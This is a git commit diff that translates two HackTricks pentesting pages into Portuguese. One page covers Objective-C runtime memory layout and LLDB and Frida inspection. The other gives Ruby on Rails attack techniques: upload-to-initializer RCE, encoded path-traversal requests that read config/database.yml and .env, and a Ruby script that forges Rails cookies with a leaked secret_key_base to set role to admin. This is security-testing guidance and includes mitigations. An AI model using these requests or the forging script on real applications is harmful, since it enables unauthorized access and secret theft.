Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 15:03:01 +00:00
parent c605cb74ef
commit 8162eb875e
2 changed files with 251 additions and 44 deletions

View File

@ -4,9 +4,9 @@
## CFRuntimeClass
Os objetos CF\* vêm do CoreFoundation, que fornece mais de 50 classes de objetos como `CFString`, `CFNumber` ou `CFAllocator`.
Objetos CF* vêm do CoreFoundation, que fornece mais de 50 classes de objetos como `CFString`, `CFNumber` ou `CFAllocator`.
Todas essas classes são instâncias da classe `CFRuntimeClass`, que, quando chamada, retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass é definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
Todas essas classes são instâncias da classe `CFRuntimeClass`, que, quando chamada, retorna um índice para a `__CFRuntimeClassTable`. A CFRuntimeClass está definida em [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -57,66 +57,77 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
### Seções de memória usadas
A maior parte dos dados usados pelo tempo de execução do ObjectiveC mudará durante a execução, portanto, ele utiliza algumas seções do segmento **\_\_DATA** na memória:
A maior parte dos dados usados pelo runtime ObjectiveC muda durante a execução; portanto ele usa várias seções da família de segmentos MachO `__DATA` na memória. Historicamente, estas incluíam:
- **`__objc_msgrefs`** (`message_ref_t`): Referências de mensagem
- **`__objc_ivar`** (`ivar`): Variáveis de instância
- **`__objc_data`** (`...`): Dados mutáveis
- **`__objc_classrefs`** (`Class`): Referências de classe
- **`__objc_superrefs`** (`Class`): Referências de superclasse
- **`__objc_protorefs`** (`protocol_t *`): Referências de protocolo
- **`__objc_selrefs`** (`SEL`): Referências de seletor
- **`__objc_const`** (`...`): Dados de classe `r/o` e outros dados (esperançosamente) constantes
- **`__objc_imageinfo`** (`version, flags`): Usado durante o carregamento da imagem: Versão atualmente `0`; Flags especificam suporte a GC pré-otimizado, etc.
- **`__objc_protolist`** (`protocol_t *`): Lista de protocolos
- **`__objc_nlcatlist`** (`category_t`): Ponteiro para Categorias Não-Lazy definidas neste binário
- **`__objc_catlist`** (`category_t`): Ponteiro para Categorias definidas neste binário
- **`__objc_nlclslist`** (`classref_t`): Ponteiro para classes Objective-C Não-Lazy definidas neste binário
- **`__objc_classlist`** (`classref_t`): Ponteiros para todas as classes Objective-C definidas neste binário
- `__objc_msgrefs` (`message_ref_t`): Referências de mensagem
- `__objc_ivar` (`ivar`): Variáveis de instância
- `__objc_data` (`...`): Dados mutáveis
- `__objc_classrefs` (`Class`): Referências de classe
- `__objc_superrefs` (`Class`): Referências de superclasses
- `__objc_protorefs` (`protocol_t *`): Referências de protocolo
- `__objc_selrefs` (`SEL`): Referências de seletores
- `__objc_const` (`...`): Dados de classe somenteleitura e outros dados (esperançosamente) constantes
- `__objc_imageinfo` (`version, flags`): Usado durante o carregamento da image: version atualmente `0`; flags especificam suporte a GC préotimizado, etc.
- `__objc_protolist` (`protocol_t *`): Lista de protocolos
- `__objc_nlcatlist` (`category_t`): Ponteiro para NonLazy Categories definidas neste binário
- `__objc_catlist` (`category_t`): Ponteiro para Categories definidas neste binário
- `__objc_nlclslist` (`classref_t`): Ponteiro para classes ObjectiveC NonLazy definidas neste binário
- `__objc_classlist` (`classref_t`): Ponteiros para todas as classes ObjectiveC definidas neste binário
Ele também usa algumas seções no segmento **`__TEXT`** para armazenar valores constantes, pois não é possível escrever nesta seção:
Também usa algumas seções no segmento `__TEXT` para armazenar constantes:
- **`__objc_methname`** (C-String): Nomes de métodos
- **`__objc_classname`** (C-String): Nomes de classes
- **`__objc_methtype`** (C-String): Tipos de métodos
- `__objc_methname` (CString): Nomes de métodos
- `__objc_classname` (CString): Nomes de classes
- `__objc_methtype` (CString): Tipos de método
### Codificação de Tipo
O macOS/iOS moderno (especialmente em Apple Silicon) também coloca metadata de ObjectiveC/Swift em:
Objective-C usa algumas codificações para codificar seletores e tipos de variáveis de tipos simples e complexos:
- `__DATA_CONST`: metadata ObjectiveC imutável que pode ser compartilhada como readonly entre processos (por exemplo, muitas listas `__objc_*` agora vivem aqui).
- `__AUTH` / `__AUTH_CONST`: segmentos contendo ponteiros que devem ser autenticados no carregamento ou em tempo de uso em arm64e (Pointer Authentication). Você também verá `__auth_got` em `__AUTH_CONST` em vez do legado `__la_symbol_ptr`/`__got` apenas. Ao instrumentar ou hookar, lembrese de contabilizar ambas as entradas `__got` e `__auth_got` em binários modernos.
- Tipos primitivos usam a primeira letra do tipo `i` para `int`, `c` para `char`, `l` para `long`... e usam a letra maiúscula no caso de ser sem sinal (`L` para `unsigned Long`).
- Outros tipos de dados cujas letras são usadas ou são especiais, usam outras letras ou símbolos como `q` para `long long`, `b` para `bitfields`, `B` para `booleans`, `#` para `classes`, `@` para `id`, `*` para `char pointers`, `^` para `pointers` genéricos e `?` para `indefinido`.
- Arrays, estruturas e uniões usam `[`, `{` e `(`
Para contexto sobre dyld preoptimization (por exemplo, selector uniquing e precálculo de classes/protocolos) e por que muitas dessas seções já estão "already fixed up" quando vêm do shared cache, confira as fontes Apple `objc-opt` e as notas do dyld shared cache. Isso afeta onde e como você pode patchar metadata em tempo de execução.
#### Exemplo de Declaração de Método
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC usa mangling para codificar tipos de seletores e variáveis, tanto simples quanto complexos:
- Tipos primitivos usam a primeira letra do tipo: `i` para `int`, `c` para `char`, `l` para `long`... e usam a letra maiúscula se for unsigned (`L` para `unsigned long`).
- Outros tipos de dados usam outras letras ou símbolos como `q` para `long long`, `b` para bitfields, `B` para booleanos, `#` para classes, `@` para `id`, `*` para `char *`, `^` para ponteiros genéricos e `?` para indefinido.
- Arrays, estruturas e unions usam `[` , `{` e `(` respectivamente.
#### Example Method Declaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
O seletor seria `processString:withOptions:andError:`
#### Codificação de Tipo
#### Type Encoding
- `id` é codificado como `@`
- `char *` é codificado como `*`
A codificação de tipo completa para o método é:
A codificação completa de tipos para o método é:
```less
@24@0:8@16*20^@24
```
#### Análise Detalhada
#### Análise detalhada
1. **Tipo de Retorno (`NSString *`)**: Codificado como `@` com comprimento 24
2. **`self` (instância do objeto)**: Codificado como `@`, no deslocamento 0
3. **`_cmd` (seletor)**: Codificado como `:`, no deslocamento 8
4. **Primeiro argumento (`char * input`)**: Codificado como `*`, no deslocamento 16
5. **Segundo argumento (`NSDictionary * options`)**: Codificado como `@`, no deslocamento 20
6. **Terceiro argumento (`NSError ** error`)**: Codificado como `^@`, no deslocamento 24
1. Tipo de retorno (`NSString *`): Codificado como `@` com comprimento 24
2. `self` (instância do objeto): Codificado como `@`, no offset 0
3. `_cmd` (seletor): Codificado como `:`, no offset 8
4. Primeiro argumento (`char * input`): Codificado como `*`, no offset 16
5. Segundo argumento (`NSDictionary * options`): Codificado como `@`, no offset 20
6. Terceiro argumento (`NSError ** error`): Codificado como `^@`, no offset 24
**Com o seletor + a codificação você pode reconstruir o método.**
Com o seletor + a codificação você pode reconstruir o método.
### **Classes**
### Classes
Classes em Objective-C são uma struct com propriedades, ponteiros de método... É possível encontrar a struct `objc_class` no [**código-fonte**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Classes em ObjectiveC são C structs com propriedades, ponteiros de método, etc. É possível encontrar a struct `objc_class` no [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Esta classe usa alguns bits do campo isa para indicar algumas informações sobre a classe.
Esta classe usa alguns bits do campo `isa` para indicar informações sobre a classe.
Então, a struct tem um ponteiro para a struct `class_ro_t` armazenada no disco, que contém atributos da classe, como seu nome, métodos base, propriedades e variáveis de instância.\
Durante a execução, uma estrutura adicional `class_rw_t` é usada, contendo ponteiros que podem ser alterados, como métodos, protocolos, propriedades...
Depois, a struct tem um ponteiro para a struct `class_ro_t` armazenada no disco, que contém atributos da classe como seu nome, métodos base, propriedades e variáveis de instância. Em tempo de execução, uma estrutura adicional `class_rw_t` é usada contendo ponteiros que podem ser alterados, como métodos, protocolos e propriedades.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Representações modernas de objetos na memória (arm64e, tagged pointers, Swift)
### `isa` nãoponte e Pointer Authentication (arm64e)
No Apple Silicon e em runtimes recentes o `isa` do ObjectiveC nem sempre é um ponteiro bruto para a classe. No arm64e é uma estrutura empacotada que pode também carregar um Pointer Authentication Code (PAC). Dependendo da plataforma, pode incluir campos como `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, e o próprio ponteiro da classe (deslocado ou com sinal). Isso significa que desreferenciar cegamente os primeiros 8 bytes de um objeto ObjectiveC nem sempre retornará um ponteiro `Class` válido.
Notas práticas ao depurar em arm64e:
- O LLDB normalmente remove os bits de PAC para você ao imprimir objetos ObjectiveC com `po`, mas ao trabalhar com ponteiros brutos você pode precisar remover a autenticação manualmente:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Muitos ponteiros de função/dados em MachO residirão em `__AUTH`/`__AUTH_CONST` e requerem autenticação antes do uso. Se você estiver interpondo ou rebinding (por exemplo, fishhookstyle), garanta que também trate `__auth_got` além do legado `__got`.
Para um mergulho profundo nas garantias da linguagem/ABI e nas intrínsecas de `<ptrauth.h>` disponíveis no Clang/LLVM, veja a referência no final desta página.
### Objetos com tagged pointers
Algumas classes do Foundation evitam alocação no heap codificando o payload do objeto diretamente no valor do ponteiro (tagged pointers). A detecção difere por plataforma (por exemplo, o bit mais significativo no arm64, o menos significativo no x86_64 macOS). Objetos tagged não têm um `isa` regular armazenado na memória; o runtime resolve a classe a partir dos bits de tag. Ao inspecionar valores arbitrários de `id`:
- Use APIs do runtime em vez de mexer no campo `isa`: `object_getClass(obj)` / `[obj class]`.
- No LLDB, apenas `po (id)0xADDR` imprimirá instâncias de tagged pointer corretamente porque o runtime é consultado para resolver a classe.
### Swift heap objects and metadata
Classes puras em Swift também são objetos com um header apontando para metadados Swift (não o `isa` do ObjectiveC). Para inspecionar processos Swift em execução sem modificálos, você pode usar o `swift-inspect` da toolchain Swift, que utiliza a biblioteca Remote Mirror para ler os metadados em tempo de execução:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Isto é muito útil para mapear objetos do heap Swift e conformidades de protocolo ao fazer reversing de apps mistos Swift/ObjC.
---
## Resumo de inspeção em tempo de execução (LLDB / Frida)
### LLDB
- Imprimir objeto ou classe a partir de um ponteiro bruto:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Inspecionar classe ObjectiveC a partir de um ponteiro para o `self` de um método de objeto em um breakpoint:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Dump seções que contêm metadados ObjectiveC (nota: muitas agora estão em `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Ler a memória de um objeto de classe conhecido para pivot to `class_ro_t` / `class_rw_t` ao reverter listas de métodos:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida fornece bridges de alto nível para runtime, muito úteis para descobrir e instrumentar objetos em execução sem símbolos:
- Enumerar classes e métodos, resolver nomes reais de classes em tempo de execução e interceptar ObjectiveC selectors:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: enumerar tipos Swift e interagir com instâncias Swift (requer Frida recente; muito útil em alvos Apple Silicon).
---
## Referências
- Clang/LLVM: Pointer Authentication e as intrinsics `<ptrauth.h>` (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Cabeçalhos do runtime objc da Apple (tagged pointers, nonpointer `isa`, etc.), por exemplo, `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Truques em Ruby
{{#include ../../banners/hacktricks-training.md}}
## Upload de arquivo para RCE
Como explicado em [this article](https://www.offsec.com/blog/cve-2024-46986/), fazer upload de um arquivo `.rb` em diretórios sensíveis como `config/initializers/` pode levar à execução remota de código (RCE) em aplicações Ruby on Rails.
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Dicas:
- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload arbitrário de arquivos que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, pode obter RCE no boot.
- Procure builds de dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los na inicialização.
## Active Storage image transformation → execução de comando (CVE-2025-24293)
Quando uma aplicação usa Active Storage com `image_processing` + `mini_magick`, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comando porque alguns métodos de transformação foram acidentalmente permitidos por padrão.
- Um padrão vulnerável se parece com:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
onde `params[:t]` e/ou `params[:v]` são controlados pelo atacante.
- O que tentar durante os testes
- Identifique quaisquer endpoints que aceitem opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick.
- Fuzz `params[:t]` e `params[:v]` em busca de erros suspeitos ou efeitos colaterais de execução. Se você conseguir influenciar o nome do método ou passar argumentos brutos que cheguem ao MiniMagick, pode obter code exec no host do processador de imagens.
- Se você só tem acesso de leitura a variantes geradas, tente exfiltração cega via operações ImageMagick crafted.
- Remediação/detecções
- Se você encontrar Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage + `image_processing` + `mini_magick` e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar allowlists estritas para métodos/params e uma policy do ImageMagick mais rígida.
## Rack::Static LFI / path traversal (CVE-2025-27610)
Se a stack alvo usa Rack middleware diretamente ou via frameworks, versões de `rack` anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via `Rack::Static` quando `:root` não está definido/mal configurado. Traversal codificado em `PATH_INFO` pode expor arquivos sob o diretório de trabalho do processo ou um root inesperado.
- Procure apps que montem `Rack::Static` em `config.ru` ou nas stacks de middleware. Tente traversals codificados contra caminhos estáticos, por exemplo:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Ajuste o prefix para corresponder ao `urls:` configurado. Se a app responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o `:root` resolvido.
- Mitigação: atualizar o Rack; garanta que `:root` aponte apenas para um diretório de arquivos públicos e seja explicitamente definido.
## Forjar/descriptografar cookies do Rails quando `secret_key_base` is leaked
Rails cifra e assina cookies usando chaves derivadas de `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Isso frequentemente leva a authz bypass se a app armazenar roles, user IDs, ou feature flags em cookies.
Minimal Ruby para descriptografar e recriptografar cookies modernos (AES-256-GCM, padrão nas versões recentes do Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Notes:
- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário.
- Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes.
## See also (Ruby/Rails-specific vulns)
- Desserialização em Ruby e class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Injeção de template em engines Ruby (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## References
- Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}